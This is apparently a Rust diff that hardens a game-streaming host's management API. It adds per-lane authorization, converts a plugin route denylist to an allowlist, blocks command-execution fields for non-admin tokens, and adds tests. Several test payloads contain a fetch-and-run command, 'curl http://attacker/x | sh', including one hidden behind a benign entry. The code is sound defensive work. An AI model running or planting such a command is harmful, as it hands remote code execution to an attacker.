/// Extracted by handlers as `Extension<AuthLane>`. A missing extension is a 500, not a default —
|
||||
/// a router that forgot the middleware must fail closed, never silently grant admin.
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
|
||||
pub(crate) enum AuthLane {
|
||||
/// The operator's admin bearer token (loopback): everything, including the privileged fields.
|
||||
Admin,
|
||||
/// The scripting runner's scoped bearer token (loopback): [`plugin_may_access`] routes, and
|
||||
/// never the operator-privileged fields inside them.
|
||||
Plugin,
|
||||
/// A paired streaming client certificate (mTLS, LAN): the read-only [`cert_may_access`] set.
|
||||
Cert,
|
||||
/// An always-open route (`/health`) or the loopback-only tray summary — no credential at all.
|
||||
Public,
|
||||
}
|
||||
|
||||
impl AuthLane {
|
||||
/// Whether this lane may set fields that become command execution as the host user. Only the
|
||||
/// operator's own token may: the console is the surface where the operator types a command, and
|
||||
/// typing it there is the trust decision. Everything else is refused, including a paired cert
|
||||
/// (which cannot reach a write route anyway — belt and braces if the allowlist ever grows).
|
||||
pub(crate) fn may_set_privileged_fields(self) -> bool {
|
||||
matches!(self, AuthLane::Admin)
|
||||
}
|
||||
}
|
||||
|
||||
/// Auth gate on the `/api/v1` routes: a paired client cert (mTLS, from anywhere) or the bearer token
|
||||
/// (from a **loopback** peer only) — required always (the host runs with a token by construction).
|
||||
/// `/api/v1/health` stays open for probes; `/api/v1/local/summary` is open to loopback peers only
|
||||
@@ -28,8 +64,15 @@ pub(crate) async fn require_auth(
|
||||
req: Request,
|
||||
next: Next,
|
||||
) -> Response {
|
||||
/// Stamp the authorizing lane onto the request before it reaches a handler, so a handler can
|
||||
/// refuse operator-privileged FIELDS to a non-operator lane (see [`AuthLane`]).
|
||||
async fn forward(mut req: Request, next: Next, lane: AuthLane) -> Response {
|
||||
req.extensions_mut().insert(lane);
|
||||
next.run(req).await
|
||||
}
|
||||
|
||||
if req.uri().path() == "/api/v1/health" {
|
||||
return next.run(req).await; // liveness probe is always open
|
||||
return forward(req, next, AuthLane::Public).await; // liveness probe is always open
|
||||
}
|
||||
// The tray icon's status source: non-sensitive counts/booleans only, unauthenticated but
|
||||
// confined to LOOPBACK peers. The bearer-token file (and cert.pem) are SYSTEM/Administrators-
|
||||
@@ -43,7 +86,7 @@ pub(crate) async fn require_auth(
|
||||
.get::<PeerAddr>()
|
||||
.is_none_or(|a| a.0.ip().is_loopback());
|
||||
return if from_loopback {
|
||||
next.run(req).await
|
||||
forward(req, next, AuthLane::Public).await
|
||||
} else {
|
||||
api_error(
|
||||
StatusCode::UNAUTHORIZED,
|
||||
@@ -61,7 +104,7 @@ pub(crate) async fn require_auth(
|
||||
if cert_may_access(req.method(), req.uri().path())
|
||||
&& st.native.as_ref().is_some_and(|n| n.is_paired(fp))
|
||||
{
|
||||
return next.run(req).await;
|
||||
return forward(req, next, AuthLane::Cert).await;
|
||||
}
|
||||
}
|
||||
// Otherwise require the bearer token (the web console / admin) — but only from a LOOPBACK peer.
|
||||
@@ -92,7 +135,7 @@ pub(crate) async fn require_auth(
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.and_then(|v| v.strip_prefix("Bearer "));
|
||||
match presented {
|
||||
Some(token) if token_eq(token, expected) => next.run(req).await,
|
||||
Some(token) if token_eq(token, expected) => forward(req, next, AuthLane::Admin).await,
|
||||
// The scripting runner's scoped lane: same loopback confinement as the admin token, but
|
||||
// routes that would let a plugin escalate — registering hooks (arbitrary command
|
||||
// execution as the host user) or administering pairing (admitting/ejecting devices,
|
||||
@@ -105,7 +148,7 @@ pub(crate) async fn require_auth(
|
||||
.is_some_and(|pt| token_eq(token, pt)) =>
|
||||
{
|
||||
if plugin_may_access(req.method(), req.uri().path()) {
|
||||
next.run(req).await
|
||||
forward(req, next, AuthLane::Plugin).await
|
||||
} else {
|
||||
api_error(
|
||||
StatusCode::FORBIDDEN,
|
||||
@@ -121,9 +164,18 @@ pub(crate) async fn require_auth(
|
||||
}
|
||||
}
|
||||
|
||||
/// Which routes the scripting runner's **plugin token** may reach: the admin surface minus the
|
||||
/// escalation routes. Exclusion-based (a plugin legitimately reads status/library/events, drives
|
||||
/// sessions, and registers its UI lease), with these carve-outs:
|
||||
/// The routes the scripting runner's **plugin token** may reach — an explicit **allowlist**, so a
|
||||
/// route added later is denied until someone classifies it (`plugin_lane_classifies_every_route` in
|
||||
/// `mgmt::tests` fails the build otherwise).
|
||||
///
|
||||
/// This gate used to be a denylist of route prefixes, and that is precisely how the 2026-08-05
|
||||
/// review's H-1/H-2 arrived: `/api/v1/library` was never enumerated, so the plugin lane inherited
|
||||
/// two copies of the very "arbitrary command execution as the host user" primitive the `/hooks`
|
||||
/// carve-out exists to withhold, plus an unconfined file read. Every sibling gate in the system
|
||||
/// (`cert_may_access`, the QUIC pairing gate, the console's `isPublicPath`) is deny-by-default;
|
||||
/// this one now is too.
|
||||
///
|
||||
/// What stays *out* of the list, and why:
|
||||
/// - **hooks** — `hooks.json` runs operator commands on lifecycle events; writing it is arbitrary
|
||||
/// command execution as the host user, and reading it can expose webhook credentials.
|
||||
/// - **pairing administration** — arming/approving/denying/unpairing (and PIN visibility) decide
|
||||
@@ -133,29 +185,90 @@ pub(crate) async fn require_auth(
|
||||
/// secret; only the console proxy (admin token) needs it.
|
||||
/// - **the plugin store** — installing a plugin is running new code with operator privileges, and a
|
||||
/// plugin that can do that is a persistence/escalation primitive: it could install a helper that
|
||||
/// isn't constrained the way it is, or switch the runner's own service state. Denied wholesale
|
||||
/// (reads included — the catalog is not sensitive, but there is no reason a plugin needs it, and
|
||||
/// a whole-prefix deny can't be defeated by a route added later).
|
||||
/// isn't constrained the way it is, or switch the runner's own service state.
|
||||
/// - **the update surface** — operator business end to end (`apply` runs an installer / the root
|
||||
/// helper).
|
||||
///
|
||||
/// The library *writes* below are on the list because a provider plugin's whole job is reconciling
|
||||
/// its own entries — but the two operator-privileged FIELDS inside those payloads (`prep`, and
|
||||
/// `launch.kind == "command"`) are refused to this lane in the handlers, via [`AuthLane`]. Route
|
||||
/// reachability and field authority are separate questions and this gate only answers the first.
|
||||
pub(crate) fn plugin_may_access(method: &Method, path: &str) -> bool {
|
||||
let denied = path == "/api/v1/hooks"
|
||||
|| path == "/api/v1/store"
|
||||
|| path.starts_with("/api/v1/store/")
|
||||
|| path == "/api/v1/pair"
|
||||
|| path.starts_with("/api/v1/pair/")
|
||||
|| path == "/api/v1/native/pair"
|
||||
|| path.starts_with("/api/v1/native/pair/")
|
||||
|| path == "/api/v1/native/pending"
|
||||
|| path.starts_with("/api/v1/native/pending/")
|
||||
|| (method == Method::DELETE
|
||||
&& (path.starts_with("/api/v1/clients/")
|
||||
|| path.starts_with("/api/v1/native/clients/")))
|
||||
|| (path.starts_with("/api/v1/plugins/") && path.ends_with("/ui-credential"))
|
||||
// The update surface is operator business end to end: today it is only a check, but
|
||||
// the same prefix will carry `apply` (running an installer / the root helper), and a
|
||||
// whole-prefix deny can't be defeated by a route added later.
|
||||
|| path == "/api/v1/update"
|
||||
|| path.starts_with("/api/v1/update/");
|
||||
!denied
|
||||
// (method, path) pairs, `{}` matching exactly one path segment. Grouped as the route table is.
|
||||
const ALLOWED: &[(&Method, &str)] = &[
|
||||
// Host / status reads.
|
||||
(&Method::GET, "/api/v1/health"),
|
||||
(&Method::GET, "/api/v1/host"),
|
||||
(&Method::GET, "/api/v1/status"),
|
||||
(&Method::GET, "/api/v1/local/summary"),
|
||||
(&Method::GET, "/api/v1/compositors"),
|
||||
(&Method::GET, "/api/v1/events"),
|
||||
(&Method::GET, "/api/v1/logs"),
|
||||
// The paired-device rosters: read-only. (DELETE is pairing administration — not listed.)
|
||||
(&Method::GET, "/api/v1/clients"),
|
||||
(&Method::GET, "/api/v1/native/clients"),
|
||||
// GPU + display control: host configuration a plugin may legitimately steer (a room
|
||||
// automation plugin swaps the layout with the lights); no privilege boundary crossed.
|
||||
(&Method::GET, "/api/v1/gpus"),
|
||||
(&Method::PUT, "/api/v1/gpus/preference"),
|
||||
(&Method::GET, "/api/v1/display/settings"),
|
||||
(&Method::PUT, "/api/v1/display/settings"),
|
||||
(&Method::GET, "/api/v1/display/state"),
|
||||
(&Method::GET, "/api/v1/display/monitors"),
|
||||
(&Method::PUT, "/api/v1/display/layout"),
|
||||
(&Method::POST, "/api/v1/display/release"),
|
||||
(&Method::GET, "/api/v1/display/presets"),
|
||||
(&Method::POST, "/api/v1/display/presets"),
|
||||
(&Method::PUT, "/api/v1/display/presets/{}"),
|
||||
(&Method::DELETE, "/api/v1/display/presets/{}"),
|
||||
// Session control: stopping/steering a session is what a launcher plugin exists to do.
|
||||
(&Method::DELETE, "/api/v1/session"),
|
||||
(&Method::POST, "/api/v1/session/idr"),
|
||||
(&Method::GET, "/api/v1/session/settings"),
|
||||
(&Method::PUT, "/api/v1/session/settings"),
|
||||
(&Method::POST, "/api/v1/game/end"),
|
||||
// Library: reads, plus the provider reconcile a scanner plugin is built around. The
|
||||
// operator-only FIELDS inside these payloads are refused separately (see `AuthLane`).
|
||||
(&Method::GET, "/api/v1/library"),
|
||||
(&Method::GET, "/api/v1/library/art/{}/{}"),
|
||||
(&Method::GET, "/api/v1/library/scanners"),
|
||||
(&Method::PUT, "/api/v1/library/scanners/{}"),
|
||||
(&Method::POST, "/api/v1/library/custom"),
|
||||
(&Method::PUT, "/api/v1/library/custom/{}"),
|
||||
(&Method::DELETE, "/api/v1/library/custom/{}"),
|
||||
(&Method::PUT, "/api/v1/library/provider/{}"),
|
||||
(&Method::DELETE, "/api/v1/library/provider/{}"),
|
||||
// Stats / telemetry.
|
||||
(&Method::POST, "/api/v1/stats/capture/start"),
|
||||
(&Method::POST, "/api/v1/stats/capture/stop"),
|
||||
(&Method::GET, "/api/v1/stats/capture/status"),
|
||||
(&Method::GET, "/api/v1/stats/capture/live"),
|
||||
(&Method::GET, "/api/v1/stats/recordings"),
|
||||
(&Method::GET, "/api/v1/stats/recordings/{}"),
|
||||
(&Method::DELETE, "/api/v1/stats/recordings/{}"),
|
||||
// The plugin's own directory entry + log ingest (its UI lease registration).
|
||||
(&Method::GET, "/api/v1/plugins"),
|
||||
(&Method::POST, "/api/v1/plugins/logs"),
|
||||
(&Method::PUT, "/api/v1/plugins/{}"),
|
||||
(&Method::DELETE, "/api/v1/plugins/{}"),
|
||||
];
|
||||
ALLOWED
|
||||
.iter()
|
||||
.any(|(m, pat)| *m == method && path_matches(pat, path))
|
||||
}
|
||||
|
||||
/// Match a route pattern against a concrete path, `{}` standing for exactly one segment. Segment-
|
||||
/// wise (never a substring/prefix test), so `/api/v1/plugins/{}` cannot swallow
|
||||
/// `/api/v1/plugins/x/ui-credential` the way a `starts_with` would.
|
||||
fn path_matches(pattern: &str, path: &str) -> bool {
|
||||
let (mut p, mut a) = (pattern.split('/'), path.split('/'));
|
||||
loop {
|
||||
match (p.next(), a.next()) {
|
||||
(None, None) => return true,
|
||||
(Some(pe), Some(ae)) if pe == "{}" || pe == ae => continue,
|
||||
_ => return false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Which routes a paired *streaming* cert (mTLS, no bearer token) may reach: a small allowlist of
|
||||
|
||||
@@ -1,8 +1,45 @@
|
||||
//! Library-tagged management endpoints: installed-store + custom game entries and box art.
|
||||
//! Split out of the `mgmt` facade (plan §W5).
|
||||
|
||||
use super::auth::AuthLane;
|
||||
use super::shared::*;
|
||||
use axum::http::header;
|
||||
use axum::Extension;
|
||||
|
||||
/// Refuse a write whose payload carries an operator-privileged field to a lane that may not set one
|
||||
/// (2026-08-05 review H-1), and refuse any local art path the proxy would not serve back (H-2).
|
||||
///
|
||||
/// Both checks belong here rather than in the route gate: `PUT /library/provider/{p}` is a route a
|
||||
/// provider plugin must be able to call — reconciling its own entry set is the whole point of a
|
||||
/// scanner plugin — while `prep` / `launch.kind = "command"` inside that payload are the operator's
|
||||
/// authority alone. Route reachability and field authority are separate questions.
|
||||
///
|
||||
/// `Some(response)` is the refusal to return; `None` means the payload may proceed. Deliberately
|
||||
/// not `Result<(), Response>`: the "error" here IS the response the handler sends, so there is no
|
||||
/// error value to propagate, and a 128-byte `Response` in an `Err` variant is what
|
||||
/// `clippy::result_large_err` objects to.
|
||||
fn check_entry_fields(
|
||||
lane: AuthLane,
|
||||
art: &crate::library::Artwork,
|
||||
launch: Option<&crate::library::LaunchSpec>,
|
||||
prep: &[crate::hooks::PrepCmd],
|
||||
) -> Option<Response> {
|
||||
if !lane.may_set_privileged_fields() {
|
||||
if let Some(field) = crate::library::privileged_field(launch, prep) {
|
||||
return Some(api_error(
|
||||
StatusCode::FORBIDDEN,
|
||||
&format!(
|
||||
"`{field}` is executed as the host user and may only be set with the \
|
||||
operator's admin token — a plugin may publish entries with any host-resolved \
|
||||
launch kind (steam_appid, epic, gog, aumid, lutris_id, heroic) instead"
|
||||
),
|
||||
));
|
||||
}
|
||||
}
|
||||
crate::library::validate_art_paths(art)
|
||||
.err()
|
||||
.map(|e| api_error(StatusCode::BAD_REQUEST, &e))
|
||||
}
|
||||
|
||||
#[derive(Deserialize)]
|
||||
pub(crate) struct LibraryQuery {
|
||||
@@ -34,6 +71,7 @@ pub(crate) struct LibraryQuery {
|
||||
)
|
||||
)]
|
||||
pub(crate) async fn get_library(
|
||||
Extension(lane): Extension<AuthLane>,
|
||||
Query(q): Query<LibraryQuery>,
|
||||
) -> Json<Vec<crate::library::GameEntry>> {
|
||||
let mut games = crate::library::all_games();
|
||||
@@ -54,6 +92,24 @@ pub(crate) async fn get_library(
|
||||
for g in &mut games {
|
||||
crate::library::proxy_local_art(&g.id, &mut g.art);
|
||||
}
|
||||
// Redact the operator's command lines for every lane but their own (2026-08-05 review L-1).
|
||||
//
|
||||
// `cert_may_access` allows `GET /library`, so this response goes to every paired STREAMING
|
||||
// client on the LAN — and for a custom entry `launch.value` is the raw shell command or
|
||||
// absolute exe path the operator typed. The adjacent `detect` field is `#[serde(skip)]` for
|
||||
// exactly this reason; `launch` simply never got the same treatment. Clients don't need it:
|
||||
// a client picks a title by ID and the host resolves the recipe itself (`resolve_launch`),
|
||||
// which is the invariant that stops a client injecting a command in the first place. The
|
||||
// `kind` stays, so "this is launchable, and how" still renders.
|
||||
if !lane.may_set_privileged_fields() {
|
||||
for g in &mut games {
|
||||
if let Some(l) = g.launch.as_mut() {
|
||||
if l.kind == "command" {
|
||||
l.value.clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Json(games)
|
||||
}
|
||||
|
||||
@@ -141,11 +197,15 @@ pub(crate) async fn set_library_scanner(
|
||||
)
|
||||
)]
|
||||
pub(crate) async fn create_custom_game(
|
||||
Extension(lane): Extension<AuthLane>,
|
||||
ApiJson(input): ApiJson<crate::library::CustomInput>,
|
||||
) -> Response {
|
||||
if input.title.trim().is_empty() {
|
||||
return api_error(StatusCode::BAD_REQUEST, "title must not be empty");
|
||||
}
|
||||
if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) {
|
||||
return denied;
|
||||
}
|
||||
match crate::library::add_custom(input) {
|
||||
Ok(entry) => (StatusCode::CREATED, Json(entry)).into_response(),
|
||||
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
|
||||
@@ -169,12 +229,16 @@ pub(crate) async fn create_custom_game(
|
||||
)
|
||||
)]
|
||||
pub(crate) async fn update_custom_game(
|
||||
Extension(lane): Extension<AuthLane>,
|
||||
Path(id): Path<String>,
|
||||
ApiJson(input): ApiJson<crate::library::CustomInput>,
|
||||
) -> Response {
|
||||
if input.title.trim().is_empty() {
|
||||
return api_error(StatusCode::BAD_REQUEST, "title must not be empty");
|
||||
}
|
||||
if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) {
|
||||
return denied;
|
||||
}
|
||||
use crate::library::MutateOutcome;
|
||||
match crate::library::update_custom(&id, input) {
|
||||
Ok(MutateOutcome::Done(entry)) => Json(entry).into_response(),
|
||||
@@ -249,6 +313,7 @@ pub(crate) struct ProviderRemoved {
|
||||
)
|
||||
)]
|
||||
pub(crate) async fn reconcile_provider_entries(
|
||||
Extension(lane): Extension<AuthLane>,
|
||||
Path(provider): Path<String>,
|
||||
ApiJson(inputs): ApiJson<Vec<crate::library::ProviderEntryInput>>,
|
||||
) -> Response {
|
||||
@@ -258,6 +323,18 @@ pub(crate) async fn reconcile_provider_entries(
|
||||
if let Err(e) = crate::library::validate_provider_payload(&inputs) {
|
||||
return api_error(StatusCode::BAD_REQUEST, &e);
|
||||
}
|
||||
// Every entry in the payload, not just the first — a reconcile replaces a whole entry set, so
|
||||
// one privileged field anywhere in it is one command execution.
|
||||
for (i, e) in inputs.iter().enumerate() {
|
||||
if let Some(denied) = check_entry_fields(lane, &e.art, e.launch.as_ref(), &e.prep) {
|
||||
tracing::warn!(
|
||||
provider,
|
||||
index = i,
|
||||
"library reconcile refused: payload carries a field this lane may not set"
|
||||
);
|
||||
return denied;
|
||||
}
|
||||
}
|
||||
match crate::library::reconcile_provider(&provider, inputs) {
|
||||
Ok(entries) => {
|
||||
tracing::info!(
|
||||
|
||||
@@ -1042,6 +1042,297 @@ async fn plugin_log_ingest_lands_in_the_ring() {
|
||||
assert_eq!(status, StatusCode::BAD_REQUEST);
|
||||
}
|
||||
|
||||
/// **The plugin lane reaches the library writes but cannot make them run a command** — the H-1 fix.
|
||||
///
|
||||
/// A provider plugin must be able to reconcile its own entry set, so the ROUTE stays open to it.
|
||||
/// What is refused is the pair of fields inside the payload that the host later executes verbatim as
|
||||
/// the host user (`/bin/sh -c` on Linux, `cmd.exe /c` on Windows): `prep`, and a `command` launch.
|
||||
/// Those are the operator's authority, and the whole trust argument at their execution sites is that
|
||||
/// a human typed them into the admin console.
|
||||
#[tokio::test]
|
||||
async fn plugin_lane_cannot_set_command_execution_fields() {
|
||||
let app = test_app(test_state(), None); // admin "test-secret", plugin "plugin-secret"
|
||||
|
||||
let as_lane = |token: &str, method: &str, path: &str, body: serde_json::Value| {
|
||||
axum::http::Request::builder()
|
||||
.method(method)
|
||||
.uri(path)
|
||||
.header("content-type", "application/json")
|
||||
.header("authorization", format!("Bearer {token}"))
|
||||
.body(Body::from(body.to_string()))
|
||||
.unwrap()
|
||||
};
|
||||
|
||||
// The two shapes of the primitive, on the two routes that carry it.
|
||||
let prep = serde_json::json!({
|
||||
"title": "Pwned",
|
||||
"prep": [{"do": "curl http://attacker/x | sh"}],
|
||||
});
|
||||
let command = serde_json::json!({
|
||||
"title": "Pwned",
|
||||
"launch": {"kind": "command", "value": "curl http://attacker/x | sh"},
|
||||
});
|
||||
for (path, method) in [
|
||||
("/api/v1/library/custom", "POST"),
|
||||
("/api/v1/library/custom/some-id", "PUT"),
|
||||
] {
|
||||
for body in [&prep, &command] {
|
||||
let (status, err) =
|
||||
send(&app, as_lane("plugin-secret", method, path, body.clone())).await;
|
||||
assert_eq!(
|
||||
status,
|
||||
StatusCode::FORBIDDEN,
|
||||
"plugin token must not set an executed field via {method} {path}"
|
||||
);
|
||||
assert!(
|
||||
err["error"].as_str().unwrap().contains("host user"),
|
||||
"the refusal should say why: {err}"
|
||||
);
|
||||
}
|
||||
}
|
||||
// The reconcile route replaces a WHOLE entry set, so every entry is checked — not just the
|
||||
// first. A payload that hides the primitive behind a benign leading entry is still refused.
|
||||
let sneaky = serde_json::json!([
|
||||
{"external_id": "a", "title": "Innocent"},
|
||||
{"external_id": "b", "title": "Pwned",
|
||||
"launch": {"kind": "command", "value": "curl http://attacker/x | sh"}},
|
||||
]);
|
||||
let (status, _) = send(
|
||||
&app,
|
||||
as_lane(
|
||||
"plugin-secret",
|
||||
"PUT",
|
||||
"/api/v1/library/provider/romm",
|
||||
sneaky,
|
||||
),
|
||||
)
|
||||
.await;
|
||||
assert_eq!(
|
||||
status,
|
||||
StatusCode::FORBIDDEN,
|
||||
"a privileged field anywhere in a reconcile payload must be refused"
|
||||
);
|
||||
|
||||
// Every refusal above happens BEFORE the catalog is touched, so this test never writes to the
|
||||
// host config dir. The converse — that the operator's own lane may set these fields, and that a
|
||||
// plugin's ordinary catalogue is unaffected — is `library::tests::privileged_field_is_command_
|
||||
// execution_only`, which needs no filesystem either.
|
||||
assert!(
|
||||
crate::mgmt::auth::AuthLane::Admin.may_set_privileged_fields(),
|
||||
"the operator's token is the lane these fields belong to"
|
||||
);
|
||||
assert!(!crate::mgmt::auth::AuthLane::Plugin.may_set_privileged_fields());
|
||||
assert!(!crate::mgmt::auth::AuthLane::Cert.may_set_privileged_fields());
|
||||
}
|
||||
|
||||
/// **Every route in the live table is explicitly classified for both non-admin lanes.**
|
||||
///
|
||||
/// This is the test whose absence produced H-1 and H-2 in the 2026-08-05 review. `plugin_may_access`
|
||||
/// used to be a denylist, so a route added after the list was written was granted to the plugin
|
||||
/// token silently and no test failed — which is exactly how `/api/v1/library`'s two copies of the
|
||||
/// command-execution primitive, and the unconfined art proxy, ended up on the plugin lane across
|
||||
/// ~1450 commits.
|
||||
///
|
||||
/// The gate is an allowlist now, so the failure mode has flipped: a new route is DENIED until it is
|
||||
/// classified. This test makes that classification a conscious, reviewed act rather than a silent
|
||||
/// default in either direction — adding a route fails the build until its row is added here, and the
|
||||
/// row is where a reviewer looks to ask "should a plugin really reach this?".
|
||||
#[test]
|
||||
fn every_route_is_classified_for_the_plugin_and_cert_lanes() {
|
||||
use axum::http::Method;
|
||||
|
||||
// (method, path template, plugin token may reach, paired streaming cert may reach).
|
||||
// EXHAUSTIVE over the live route table — no wildcards, no prefixes, one row per operation.
|
||||
const EXPECTED: &[(&str, &str, bool, bool)] = &[
|
||||
// ---- host / status: readable by a plugin; the small read-only set is the cert lane's.
|
||||
("GET", "/api/v1/health", true, false), // always open, handled before either gate
|
||||
("GET", "/api/v1/host", true, true),
|
||||
("GET", "/api/v1/status", true, true),
|
||||
("GET", "/api/v1/local/summary", true, false), // loopback-only, handled before the gates
|
||||
("GET", "/api/v1/compositors", true, true),
|
||||
("GET", "/api/v1/events", true, false),
|
||||
("GET", "/api/v1/logs", true, false),
|
||||
// ---- paired-device rosters: readable by a plugin, never by another paired client, and
|
||||
// removal is pairing administration in both lanes.
|
||||
("GET", "/api/v1/clients", true, false),
|
||||
("DELETE", "/api/v1/clients/{fingerprint}", false, false),
|
||||
("GET", "/api/v1/native/clients", true, false),
|
||||
(
|
||||
"DELETE",
|
||||
"/api/v1/native/clients/{fingerprint}",
|
||||
false,
|
||||
false,
|
||||
),
|
||||
// ---- pairing administration + PIN visibility: the operator's token alone.
|
||||
("GET", "/api/v1/pair", false, false),
|
||||
("POST", "/api/v1/pair/pin", false, false),
|
||||
("GET", "/api/v1/native/pair", false, false),
|
||||
("DELETE", "/api/v1/native/pair", false, false),
|
||||
("POST", "/api/v1/native/pair/arm", false, false),
|
||||
("GET", "/api/v1/native/pending", false, false),
|
||||
("POST", "/api/v1/native/pending/{id}/approve", false, false),
|
||||
("POST", "/api/v1/native/pending/{id}/deny", false, false),
|
||||
// ---- GPU + display: host configuration, no privilege boundary.
|
||||
("GET", "/api/v1/gpus", true, false),
|
||||
("PUT", "/api/v1/gpus/preference", true, false),
|
||||
("GET", "/api/v1/display/settings", true, false),
|
||||
("PUT", "/api/v1/display/settings", true, false),
|
||||
("GET", "/api/v1/display/state", true, false),
|
||||
("GET", "/api/v1/display/monitors", true, false),
|
||||
("PUT", "/api/v1/display/layout", true, false),
|
||||
("POST", "/api/v1/display/release", true, false),
|
||||
("GET", "/api/v1/display/presets", true, false),
|
||||
("POST", "/api/v1/display/presets", true, false),
|
||||
("PUT", "/api/v1/display/presets/{id}", true, false),
|
||||
("DELETE", "/api/v1/display/presets/{id}", true, false),
|
||||
// ---- session control.
|
||||
("DELETE", "/api/v1/session", true, false),
|
||||
("POST", "/api/v1/session/idr", true, false),
|
||||
("GET", "/api/v1/session/settings", true, false),
|
||||
("PUT", "/api/v1/session/settings", true, false),
|
||||
("POST", "/api/v1/game/end", true, false),
|
||||
// ---- library. The plugin lane reaches the writes (a scanner plugin's whole job), but the
|
||||
// operator-privileged FIELDS inside those payloads are refused in the handler — see
|
||||
// `plugin_lane_cannot_set_command_execution_fields`.
|
||||
("GET", "/api/v1/library", true, true),
|
||||
("GET", "/api/v1/library/art/{id}/{kind}", true, true),
|
||||
("GET", "/api/v1/library/scanners", true, false),
|
||||
("PUT", "/api/v1/library/scanners/{id}", true, false),
|
||||
("POST", "/api/v1/library/custom", true, false),
|
||||
("PUT", "/api/v1/library/custom/{id}", true, false),
|
||||
("DELETE", "/api/v1/library/custom/{id}", true, false),
|
||||
("PUT", "/api/v1/library/provider/{provider}", true, false),
|
||||
("DELETE", "/api/v1/library/provider/{provider}", true, false),
|
||||
// ---- stats.
|
||||
("POST", "/api/v1/stats/capture/start", true, false),
|
||||
("POST", "/api/v1/stats/capture/stop", true, false),
|
||||
("GET", "/api/v1/stats/capture/status", true, false),
|
||||
("GET", "/api/v1/stats/capture/live", true, false),
|
||||
("GET", "/api/v1/stats/recordings", true, false),
|
||||
("GET", "/api/v1/stats/recordings/{id}", true, false),
|
||||
("DELETE", "/api/v1/stats/recordings/{id}", true, false),
|
||||
// ---- plugins: its own directory entry and log ingest, never another plugin's UI secret.
|
||||
("GET", "/api/v1/plugins", true, false),
|
||||
("POST", "/api/v1/plugins/logs", true, false),
|
||||
("PUT", "/api/v1/plugins/{id}", true, false),
|
||||
("DELETE", "/api/v1/plugins/{id}", true, false),
|
||||
("GET", "/api/v1/plugins/{id}/ui-credential", false, false),
|
||||
// ---- hooks: writing is command execution as the host user; reading exposes webhook creds.
|
||||
("GET", "/api/v1/hooks", false, false),
|
||||
("PUT", "/api/v1/hooks", false, false),
|
||||
// ---- the store: installing a plugin runs new code with operator privileges.
|
||||
("GET", "/api/v1/store/catalog", false, false),
|
||||
("POST", "/api/v1/store/refresh", false, false),
|
||||
("GET", "/api/v1/store/installed", false, false),
|
||||
("POST", "/api/v1/store/install", false, false),
|
||||
("POST", "/api/v1/store/uninstall", false, false),
|
||||
("GET", "/api/v1/store/jobs", false, false),
|
||||
("GET", "/api/v1/store/jobs/{id}", false, false),
|
||||
("GET", "/api/v1/store/sources", false, false),
|
||||
("PUT", "/api/v1/store/sources/{name}", false, false),
|
||||
("DELETE", "/api/v1/store/sources/{name}", false, false),
|
||||
("GET", "/api/v1/store/runtime", false, false),
|
||||
("POST", "/api/v1/store/runtime", false, false),
|
||||
// ---- updates: `apply` runs an installer / the root helper.
|
||||
("GET", "/api/v1/update/status", false, false),
|
||||
("POST", "/api/v1/update/check", false, false),
|
||||
("POST", "/api/v1/update/apply", false, false),
|
||||
];
|
||||
|
||||
/// A path template's concrete form: every `{param}` segment becomes a literal, so the gates
|
||||
/// are exercised on the shape a real request has.
|
||||
fn concrete(template: &str) -> String {
|
||||
template
|
||||
.split('/')
|
||||
.map(|s| if s.starts_with('{') { "sample" } else { s })
|
||||
.collect::<Vec<_>>()
|
||||
.join("/")
|
||||
}
|
||||
|
||||
let doc: serde_json::Value = serde_json::from_str(&openapi_json()).unwrap();
|
||||
let mut live: Vec<(String, String)> = Vec::new();
|
||||
for (path, ops) in doc["paths"].as_object().unwrap() {
|
||||
for method in ops.as_object().unwrap().keys() {
|
||||
if matches!(method.as_str(), "get" | "post" | "put" | "delete" | "patch") {
|
||||
live.push((method.to_uppercase(), path.clone()));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 1. Every LIVE route has a classification row. A new route fails here until it gets one.
|
||||
for (method, path) in &live {
|
||||
assert!(
|
||||
EXPECTED
|
||||
.iter()
|
||||
.any(|(m, p, _, _)| m == method && p == path),
|
||||
"route {method} {path} has no lane classification — add a row to EXPECTED in this test \
|
||||
and decide, deliberately, whether the plugin token and a paired streaming cert may \
|
||||
reach it"
|
||||
);
|
||||
}
|
||||
// 2. No STALE rows: a removed route must not leave a classification behind claiming coverage.
|
||||
for (method, path, _, _) in EXPECTED {
|
||||
assert!(
|
||||
live.iter().any(|(m, p)| m == method && p == path),
|
||||
"EXPECTED lists {method} {path}, which is not in the live route table — remove the row"
|
||||
);
|
||||
}
|
||||
// 3. The gates agree with the classification, on both lanes.
|
||||
for (method, path, plugin_ok, cert_ok) in EXPECTED {
|
||||
let m = Method::from_bytes(method.as_bytes()).unwrap();
|
||||
let concrete = concrete(path);
|
||||
assert_eq!(
|
||||
auth::plugin_may_access(&m, &concrete),
|
||||
*plugin_ok,
|
||||
"plugin lane: {method} {path} should be {}",
|
||||
if *plugin_ok { "reachable" } else { "denied" }
|
||||
);
|
||||
assert_eq!(
|
||||
auth::cert_may_access(&m, &concrete),
|
||||
*cert_ok,
|
||||
"cert lane: {method} {path} should be {}",
|
||||
if *cert_ok { "reachable" } else { "denied" }
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// The allowlist is segment-wise, so a route that merely *starts with* an allowed one is not
|
||||
/// swallowed by it — the failure that a `starts_with` denylist/allowlist invites.
|
||||
#[test]
|
||||
fn plugin_allowlist_matches_whole_segments_only() {
|
||||
use axum::http::Method;
|
||||
// The UI credential sits one segment below an allowed route and must stay denied.
|
||||
assert!(auth::plugin_may_access(
|
||||
&Method::PUT,
|
||||
"/api/v1/plugins/rom-manager"
|
||||
));
|
||||
assert!(!auth::plugin_may_access(
|
||||
&Method::GET,
|
||||
"/api/v1/plugins/rom-manager/ui-credential"
|
||||
));
|
||||
// A hypothetical future sub-route of an allowed route is denied until classified.
|
||||
assert!(!auth::plugin_may_access(
|
||||
&Method::GET,
|
||||
"/api/v1/library/secrets"
|
||||
));
|
||||
assert!(!auth::plugin_may_access(
|
||||
&Method::POST,
|
||||
"/api/v1/session/settings/x"
|
||||
));
|
||||
// Method matters: the roster is readable, its removal is not.
|
||||
